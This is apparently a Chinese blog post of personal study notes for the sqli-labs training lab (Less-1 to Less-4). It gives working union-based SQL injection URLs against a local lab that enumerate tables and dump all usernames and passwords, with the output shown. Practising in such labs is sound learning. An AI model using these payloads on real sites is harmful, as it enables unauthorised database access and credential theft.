学习sql注入啦,一下都是我做sqli-labs时的笔记。可能有错误,如果有人发现了欢迎指正~~

常用知识点:

1.mysql注释有三种:① #: 注释从#到行尾

② --空格: 注释到行尾,注意--后必须有空格

③/**/ :注释/* 到 */的内容

2.查询用户数据库名称

select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMA LIMIT 0,1

3.查询当前数据库表

select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=(select DATABASE()) limit 0,1

4.查询指定表的所有字段

select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='xxx' LIMIT 0,1

5.联合查询

select id, username, password from users union select 1,2,3

6.将多行结果拼成一行GROUP_CONCAT

select group_concat(user) from table limit 0, 1

用group_concat可把多个结果拼成一行。这样,如果只有一个显示位也可以显示所有信息

7.将多个字段拼成一个字段CONCAT

select concat(username, passwd) from table

Less-1: 有错误信息,单引号

基础语句:http://127.0.0.1/sqli-labs/Less-1/?id=

1.测试id类型是否为字符串,用单引号'测试

http://127.0.0.1/sqli-labs/Less-1/?id='

提示:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1

出现了''',说明id为字符串类型

2.测试查询时有几个字段, 用union,经测试有3段,且2,3段会展示

http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,3 -- a
http://127.0.0.1/sqli-labs/Less-1/?id=%27%20union%20select%201,2,3%20--%20a

3.查询数据库中的数据

①查询数据库中的所有表信息

http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,GROUP_CONCAT(TABLE_NAME),3 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(select DATABASE()) LIMIT 0,1 -- a

结果:Your Login name:emails,referers,uagents,users

说明有四张表

②查看users表中的所有字段

http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1, GROUP_CONCAT(COLUMN_NAME),3 from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users' LIMIT 0,1 -- a

结果:Your Login name:id,username,password

③查询所有的用户名密码

http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users LIMIT 0,1 -- a

结果:

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

疑问:

为什么注释用-- a可以,用#就不可以?

Less-2: 错误,整数

①测试id类型

http://127.0.0.1/sqli-labs/Less-2/?id='

结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

报错了只有' LIMIT 0,1,说明id是数字型的,没有其他引号包裹

②查询所有用户名和密码,加入了order by 保证显示的是所有内容。中间步骤跟第一题相同,略过。

http://127.0.0.1/sqli-labs/Less-2/?id=3 union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users ORDER BY id LIMIT 0,1 -- a

Less-3: 错误,有干扰的字符串

①测试id类型

http://127.0.0.1/sqli-labs/Less-3/?id='

结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1

与第一题的不同之处在于id后面还有个括号,可以推断其id的写法是 id = ('3') 这种格式。所以在构造sql时,除了要注意闭合引号,还要注意闭合括号。

②查询所有用户名和密码

http://127.0.0.1/sqli-labs/Less-3/?id=3') union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users ORDER BY id LIMIT 0,1 -- a

Less-4:错误,双引号

①测试id类型

http://127.0.0.1/sqli-labs/Less-4/?id='

结果正常输出,继续测试,这里偷懒了,根据名称直接试了双引号

http://127.0.0.1/sqli-labs/Less-4/?id="

结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""") LIMIT 0,1' at line 1

说明id是字符串,且写法为id = ("3")

②获取所有用户名密码,闭合双引号和括号即可

http://127.0.0.1/sqli-labs/Less-4/?id=3") union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users ORDER BY id LIMIT 0,1 -- a

【sqli-labs】Less1~Less4的更多相关文章

  1. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  2. 【SEED Labs】Public-Key Infrastructure (PKI) Lab

    Lab Overview 公钥加密是当今安全通信的基础,但当通信的一方向另一方发送其公钥时,它会受到中间人的攻击.根本的问题是,没有简单的方法来验证公钥的所有权,即,给定公钥及其声明的所有者信息,如何 ...

  3. 【SEED Labs】DNS Rebinding Attack Lab

    Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/DNS_Rebinding/ 在这个实验中模拟的物联网设备 ...

  4. 【SEED Labs】TCP Attacks Lab

    Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/TCP_Attacks/ 本实验涵盖以下课题: • TCP ...

  5. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  6. 【移动端】300ms延迟以及点透事件原因以及解决方案

    产生原因 移动端会有双击缩放的这个操作,因此浏览器在click之后要等待300ms,看用户有没有下一次点击,也就是这次操作是不是双击 说完移动端点击300ms延迟的问题,还不得不提一下移动端点击穿透的 ...

  7. 【技巧总结】Penetration Test Engineer[2]-Information gathering

    2.信息收集 信息收集是属于前期交互阶段所需要了解的问题. 2.1.前期交互内容 签署授权文件:首要要和受测试方签订授权协议. 划定范围:指定了一个二级域名作为测试目标,那么其他二级域名在测试范围内. ...

  8. Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)【系列1】

    Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)[系列1] Android在加载或者处理超大巨型图片 ...

  9. SQLi_Labs通关文档【1-65关】

    SQLi_Labs通关文档[1-65关] 为了不干扰自己本机环境,SQL-LAB我就用的码头工人,跑起来的,搭建也非常简单,也就两条命令 docker pull acgpiano/sqli-labs ...

随机推荐

  1. Java基础_0303:封装性初步

    class Book { // 定义一个新的类 private String title; // 书的名字 private double price; // 书的价格 public void getI ...

  2. 【译】第九篇 SQL Server安全透明数据加密

    本篇文章是SQL Server安全系列的第九篇,详细内容请参考原文. Relational databases are used in an amazing variety of applicatio ...

  3. 「NowCoder Contest 295」H. Playing games

    还是见的题太少了 「NowCoder Contest 295」H. Playing games 题意:选出尽量多的数使得异或和为$ 0$ $ Solution:$ 问题等价于选出尽量少的数使得异或和为 ...

  4. 【mmall】Jackson序列化时isSuccess()方法的注意点

    参考链接:遭遇fastjson的一个坑

  5. 高性能缓存Caffeine

    1. Caffeine 为我们提供了三种填充策略:手动.同步和异步 2. Caffeine提供三类驱逐策略:基于大小(size-based),基于时间(time-based)和基于引用(referen ...

  6. Java开发环境配置(4)--Maven安装 环境变量配置,本地仓库配置---插件安装

    说明在前:本人用过的 luna  mars 等,都已经自带maven插件的了,以下有些文章是很老的,讲到maven插件的安装都可以忽略掉. maven安装eclipse在线配置maven搞定所有插件_ ...

  7. java中有哪4种整形数据类型?它们有什么不同之处?

    java中有哪4种整形数据类型?它们有什么不同之处? (byte.short.int和long型)最大值和最小值都不一样.

  8. 【Math for ML】矩阵分解(Matrix Decompositions) (上)

    I. 行列式(Determinants)和迹(Trace) 1. 行列式(Determinants) 为避免和绝对值符号混淆,本文一般使用\(det(A)\)来表示矩阵\(A\)的行列式.另外这里的\ ...

  9. inception v1-v3 & Xception

    inception v1-v3:通过多尺度卷积核学习不同尺度的空间信息并进行耦合:通过多个小卷积核来代替大卷积核的功能从而降低计算量: 通常,在一组特征图上进行卷积需要三维的卷积核,也即卷积核需要同时 ...

  10. MySQL DROP TABLE操作以及 DROP 大表时的注意事项【转】

    删表 DROP TABLE Syntax DROP [TEMPORARY] TABLE [IF EXISTS] tbl_name [, tbl_name] ... [RESTRICT | CASCAD ...